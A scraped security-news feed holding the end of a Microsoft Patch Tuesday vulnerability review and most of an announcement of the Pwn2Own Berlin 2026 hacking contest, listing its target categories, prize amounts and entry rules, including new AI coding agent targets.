  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this month’s release, there are three Office-related bugs where the Preview Pane is once again listed as an exploit vector. I would still like to have a full-proof way of disabling the Preview Pane, but I don’t see that as an option. There’s a bug in the RDP client, but that involves connecting to a malicious RDP server. The bug in Active Directory requires authentication and a network adjacent attacker. The final Critical-rated bug is an interesting DoS in .NET Framework. An unauthenticated attacker could deny service over a network – presumably crippling any affected app made in .NET. You rarely see Critical-rated DoS bugs, but this one deserves the moniker.</p><p class="">Moving on to the other code execution bugs, you have quite a few open-and-own bugs in Office components, most notably Excel, where the Preview Pane is not an attack vector. The bug in SQL Server requires authentication, and as usual, additional steps are needed to ensure you have the correct update to remediate this vulnerability. The two bugs in Hyper-V almost reads like a privilege escalation since it allows unauthorized attackers to execute code locally. That’s the same for the bugs in the Windows Snipping Tool and the UPnP Device host. </p><p class="">More than half of this release addresses Elevation of Privilege (EoP) bugs. However, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. The bugs in SQL Server could allow an attacker to gain SQL sysadmin privileges. One of the kernel bugs simply states an attacker could “elevate privileges locally”. How obtuse. That’s similar for the bug in afd.sys and Desktop Windows Manager, but Microsoft also states that these bugs could crash an affected system. There are several bugs that result in a sandbox escape, including Windows Push Notifications, AFD for Winsock, Management Services, and User Interface Core. Of these, CVE-2026-26167 (Push Notifications) is the most notable — it's the only one with low attack complexity, meaning no race condition needed. The rest all require winning a race condition (AC:H). The bugs in UPnP are interesting as they allow attackers to gain access to a limited set of administrator-protected objects. Not a full escalation but definitely getting access to resources they shouldn’t. The vulnerability in the Brokering File System allows attackers to gain the level of the logged on user, so don’t do your normal activities as a user with admin privileges. The bug in Azure Monitor Agent leads to root-level access. </p><p class="">There are a dozen different security features bypass bugs in the April release. Some of these are obvious by the title alone. For example, the bugs in Windows Hello bypass safety features within the Hello app itself. The bug in the Biometric Service allows attackers to bypass biometric protections. The vulns in BitLocker and Secure Boot bypass protections in those components. The bug in Power Apps allows attackers to bypass a security warning dialog and trick targets into triggering an external protocol call that performs unintended actions on the user’s device. The bug in Windows Shell allows attackers to bypass Mark of the Web (MotW) protections. The bug in PowerShell could almost be described as a code execution bug as exploiting it bypasses dynamic-expression security checks, which could result in code execution. The vulnerability in the Windows Recovery Environment allows local attackers to bypass BitLocker device encryption. Finally, the bug in Virtualization‑Based Security (VBS) is the most interesting of the bunch – and not just because VBS is a (relatively) new feature. The problem allows attackers to manipulate allow a compromised Windows kernel to modify memory belonging to the secure kernel, breaking the intended isolation guarantees provided by VBS. Somewhat of a sandbox escape, but this time, you’re escaping from Virtual Trust Level 0 (VTL0) to Virtual Trust Level 1 (VTL1). Neat.</p><p class="">Moving on to the Information Disclosure bugs fixed this month, we have 20 different CVEs. Fortunately, most of these simply result in info leaks consisting of unspecified memory contents or memory addresses. While useful in crafting exploits, they aren’t exactly exciting on their own. There are also several bugs that disclose addresses from an object a contained in a sandboxed execution environment. This includes bugs in the Print Spooler, Package Catalog, and Web Account Manager. The bug in Dynamics 365 discloses the ever ineffable “sensitive information”. There are three different info disclosure bugs in UPnP. Two allow an attacker to read from the file system, while the third discloses anything available to the LOCAL SERVICE account. The final info disclosure bug resides in Copilot and Visual Studio and allows attackers to disclose the contents of the Model Context Protocol (MCP) when using Copilot. There are those who think MCP is dead (thanks to agentic AI agents), but if you’re using a custom MCP, I doubt you would want it leaked.</p><p class="">The April release contains just a handful of Spoofing bugs. Some, like the bugs in .NET, Active Directory, and Windows Shell, just say that they allow spoofing over a network. Others, like the bug in Windows Snipping Tool, say similar but also note that it could be used to relay NTLMv2 hashes. The patch for RDP <a href="https://go.microsoft.com/fwlink/?linkid=2347342">notes</a> that there are new warning dialogs coming this month. The bug in the Windows Admin Center would allow an attacker to interact with other tenant’s applications and content. Finally, the spoofing bug in SharePoint is another XSS issue.</p><p class="">There are eight DoS bugs in the April release, but as always, Microsoft provides no actionable information about the vulnerabilities. Microsoft does offer a mitigation for the http.sys bug that can be applied while you test and deploy the patch, but I would rely on the patch rather than the mitigation. Another exception is the bug for Connected User Experiences and Telemetry Service, which allows attackers to deny service locally rather than over the network.</p><p class="">The final(!) bug in the April release is a Tampering bug in WSUS that reads like a DoS. According to Microsoft, “An attacker can send specially crafted packets which could affect availability of the service and result in Denial of Service (DoS).” But sure – let’s call it Tampering. </p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">I will be in Berlin for the next Patch Tuesday, which will be May 12, and I’ll provide my full thoughts then on what will hopefully be a smaller release than this one. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Announcing Pwn2Own Berlin for 2026]]></title>
<description><![CDATA[If you just want to read the contest rules, click here. Willkommen zurück, meine Damen und Herren, zu unserem zweiten Wettbewerb in Berlin! That’s correct (if Google translate didn’t steer me wrong). After our inaugural competition last year, Pwn2Own returns to Berlin and OffensiveCon. Outside of...]]></description>
<link>https://tsecurity.de/de/3694471/it-security-nachrichten/announcing-pwn2own-berlin-for-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694471/it-security-nachrichten/announcing-pwn2own-berlin-for-2026/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class=""><em>If you just want to read the contest rules, click </em><a href="https://www.zerodayinitiative.com/Pwn2OwnBerlin2026Rules.html" target="_blank"><em>here</em></a><em>.</em></p><p class=""> </p><p class="">Willkommen zurück, meine Damen und Herren, zu unserem zweiten Wettbewerb in Berlin! That’s correct (if Google translate didn’t steer me wrong). After our inaugural competition last year, Pwn2Own returns to Berlin and <a href="https://www.offensivecon.org/" target="_blank">OffensiveCon</a>. Outside of our <a href="https://www.youtube.com/shorts/Xj9Du8iuXCw" target="_blank">shipping troubles</a>, we had an amazing time and can’t wait to get back.</p><p class="">Last year, we added <strong>Artificial Intelligence</strong> as a category with great results. This year, we’re expanding this and splitting it into multiple different categories: AI Databases, Coding Agents, Local Inferences, and a separate category for NVIDIA products. In last year’s contest, NVIDIA targets had wins, losses, and collisions, so it will be interesting to see how they fare this year. The folks from <strong>AWS </strong>wanted to get into the fray as well, so they stepped up to co-sponsor this year’s event, which allows us to increase the reward for bugs in Firecracker. Of course, we have all of the returning categories as well, including web browsers, containers, servers, virtualization, and operating systems. There’s more than $1,000,000 in cash and prizes available for contestants. Last year, we awarded $1,078,750 for 28 unique 0-days over the three-day event. We’ll see if we can eclipse those numbers in 2026.</p><p class="">The contest begins on May 14, but registration closes on May 7, so don’t delay in getting those submissions in. We’re hoping for maximum participation, so set aside your vibe coding and show us what you can really do. We’re looking forward to some cutting-edge exploitation on display. For 2026, we have a total of 31 targets across 10 categories. Here is a full list of the categories for this year’s event:  </p>





















  
  



<p><a data-preserve-html-node="true" name="top"></a> 
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#virtual">-- Virtualization</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#browser">-- Web Browser</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#entapps">-- Enterprise Applications</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#server">-- Servers</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#eop">-- Local Escalation of Privilege</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#container">-- Containers</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#aidb">-- AI Database</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#aicode">-- Coding Agents</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#ailocal">-- Local Inference</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#nvidia">-- NVIDIA</a>  </p>




  <p class="">Of course, no Pwn2Own competition would be complete without us crowning a Master of Pwn (Meister von Pwn?). Since the order of the contest is decided by a random draw, contestants with an unlucky draw could still demonstrate fantastic research but receive less money since subsequent rounds go down in value. However, the points awarded for each unique, successful entry do <em>not</em> go down. Someone could have a bad draw and still accumulate the most points. The person or team with the most points at the end of the contest will be crowned Master of Pwn, receive 65,000 ZDI reward points (enough for <a href="https://www.zerodayinitiative.com/about/benefits/" target="_blank">Platinum</a> status), a killer <a href="https://static1.squarespace.com/static/5894c269e4fcb5e65a1ed623/t/5b8993b321c67c67b886f506/1535742910114/trophy.jpg" target="_blank">trophy</a>, and a <a href="https://pbs.twimg.com/media/C6Z5iQQXEAEPQ0Q.jpg" target="_blank">pretty</a> <a href="https://pbs.twimg.com/media/DNhpw_xUEAEkEwG.jpg" target="_blank">snazzy</a> <a href="https://pbs.twimg.com/media/Cu-6uFSWcAEefBS.jpg" target="_blank">jacket</a> to boot.</p><p class="">Let's look at the details of the rules for this year's event.</p>





















  
  



<p><a data-preserve-html-node="true" name="virtual"></a>  </p>
<p><b data-preserve-html-node="true">Virtualization Category</b> </p>




  <p class="">Some of the highlights for each contest can be found in the Virtualization Category, and we’re thrilled to see what this year’s event could bring with it. As usual, VMware is the main highlight of this category as we’ll have VMware ESXi return with an award of $150,000. Last year produced the first ESXi exploits in Pwn2Own history, so it will be interesting to see if we get more. Microsoft also returns as a target and leads the virtualization category with a $250,000 award for a successful Hyper-V Client guest-to-host escalation. Kernel-based Virtual Machine (KVM) is our final target in this category with a prize of $50,000.</p><p class="">There’s an add-on bonus in this category as well. If a contestant can escape the guest OS, then gain arbitrary code execution on the virtualization target <em>and</em> obtain arbitrary code execution in the guest operating system on a separate virtual machine managed by the same targeted virtualization target, they’ll earn another $50,000. That could push the payout on a ESXi bug to $200,000. This bonus is for KVM and ESXi only. Here’s a detailed look at the targets and available payouts in the Virtualization category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f1a17b36-ce06-47c8-8e58-3435b9bbdcc4/Slide1.jpeg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f1a17b36-ce06-47c8-8e58-3435b9bbdcc4/Slide1.jpeg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f1a17b36-ce06-47c8-8e58-3435b9bbdcc4/Slide1.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f1a17b36-ce06-47c8-8e58-3435b9bbdcc4/Slide1.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f1a17b36-ce06-47c8-8e58-3435b9bbdcc4/Slide1.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f1a17b36-ce06-47c8-8e58-3435b9bbdcc4/Slide1.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f1a17b36-ce06-47c8-8e58-3435b9bbdcc4/Slide1.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f1a17b36-ce06-47c8-8e58-3435b9bbdcc4/Slide1.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/f1a17b36-ce06-47c8-8e58-3435b9bbdcc4/Slide1.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="browser"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">Web Browser Category</b></p>




  <p class="">While browsers are the “traditional” Pwn2Own target, we’re continuously tweaking the targets in this category to ensure they remain relevant. We re-introduced renderer-only exploits a couple of years ago, and this year, we’ve increased the award to $75,000. In fact, we’ve increased the awards across the board for this category. Here’s a detailed look at the targets and available payouts:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d9ee752e-7f62-440b-818a-55fd6d94a2f0/Slide2.jpeg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d9ee752e-7f62-440b-818a-55fd6d94a2f0/Slide2.jpeg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d9ee752e-7f62-440b-818a-55fd6d94a2f0/Slide2.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d9ee752e-7f62-440b-818a-55fd6d94a2f0/Slide2.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d9ee752e-7f62-440b-818a-55fd6d94a2f0/Slide2.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d9ee752e-7f62-440b-818a-55fd6d94a2f0/Slide2.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d9ee752e-7f62-440b-818a-55fd6d94a2f0/Slide2.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d9ee752e-7f62-440b-818a-55fd6d94a2f0/Slide2.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d9ee752e-7f62-440b-818a-55fd6d94a2f0/Slide2.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="entapps"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">Enterprise Applications Category</b></p>




  <p class="">Enterprise applications return as targets with Adobe Reader and various Office components on the target list once again. Attempts in this category must be launched from the target under test. For example, launching the target under test from the command line is not allowed. Prizes in this category run from $50,000 for a Reader exploit with a sandbox escape or a Reader exploit with a kernel privilege escalation, and $150,000 for an Office 365 application. Word, Excel, and PowerPoint are all valid targets. Microsoft Office-based targets will have Protected View enabled where applicable. Adobe Reader will have Protected Mode enabled where applicable.</p><p class="">This year, we’re adding a bonus for Copilot data exfiltration and Copilot action execution. Microsoft just <a href="https://x.com/thezdi/status/2031496424488042681" target="_blank">patched</a> a bug like this in Excel, so we know they are out there. If you’re able to exploit Copilot in addition to a Microsoft application, you’ll earn an additional $50,000. There are quite a few rules and scenarios around this add-on, so be sure to read the rules carefully and contact us with questions. Here’s a detailed view of the targets and payouts in the Enterprise Application category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad7c5b03-1001-43ce-9144-be06b43ef9f6/entapps.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="server"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">The Server Category</b></p>




  <p class="">The Server Category for 2026 focuses solely on the server components we’re most interested in. These servers are often targeted by everyone from ransomware crews to nation/state actors, so we know there are exploits out there for them. The only question is whether we’ll see any of the competitors bring one of those exploits to Pwn2Own. Last year, the bugs demonstrated in SharePoint ended up being exploited in the wild, so we know people are looking for these with great interest. Microsoft Exchange has been a popular target for some time, and it returns as a target this year as well, with a payout of $200,000. This category is rounded out by Microsoft Windows RDP/RDS, which also has a payout of $200,000. Here’s a detailed look at the targets and payouts in the Server category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/278211ce-a1e8-4258-b593-3faca48002e5/Slide4.jpeg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="eop"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">Local Escalation of Privilege Category</b></p>




  <p class="">This category is a classic for Pwn2Own and focuses on attacks that originate from a standard user and result in executing code as a high-privileged user. A successful entry in this category must leverage a kernel vulnerability to escalate privileges. Red Hat Enterprise Linux for Workstations returns as our Linux-based target, while Apple macOS, and Microsoft Windows 11 return as targets in this category. Prior exploits in this category have won Pwnie awards, so they’re always interesting to see. Here’s a detailed look at the targets and payouts in this category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/127bc809-2387-4e40-ab0d-2c65175ca167/eop.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="container"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">The Container Category</b></p>




  <p class="">We’re excited to have this category return for its third season, and we’re hopeful that even more contestants will target one of these container targets. For an attempt to be ruled a success against these three, the exploit must be launched from within the guest container/microVM and execute arbitrary code on the host operating system. Again, with help from AWS, Firecracker returns as a target with a prize of $100,000. Here are the targets and payouts for this category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/742779a4-1563-4aa4-bb59-8f189c8eb231/Containers2.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="aidb"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">AI Database Category</b></p>




  <p class="">In the past, AI Hackathons have focused on using AI to develop vulnerabilities or other offensive frameworks. We’re opening up the models and various components themselves for exploitation. The first AI sub-category focuses on databases. An attempt in this category must be launched from the contestant’s laptop. Here’s a look at the targets and awards in the AI Database category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
              
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/d88dfd8d-1260-41d0-bbb2-389c6550a962/aidb.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="aicode"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/3/11/announcing-pwn2own-berlin-for-2026#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">The Coding Agent Category</b></p>




  <p class="">Let’s face it. At some point or another, we’ve probably all vibe coded something. There’s no shame in that, but how secure are the tools we use for vibe coding? Well, let’s take the most popular choices and find out. A successful entry must interact with a contestant-controlled resource (e.g. web page, repository, media file) to exploit a vulnerability within the coding agent. The attack vector of the entry must be a common coding agent use case. There are few things out of scope here as well. UI spoofing or misrepresentation unrelated to permission prompts, model jailbreaks or prompt outputs that do not cross security boundaries, and vulnerabilities that require unsafe or permission-less modes are just a few of the things not allowed. As this is a new category, please read the rules carefully to ensure your entry qualifies. Here’s a look at the targets and awards in the AI Coding Agent category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
              
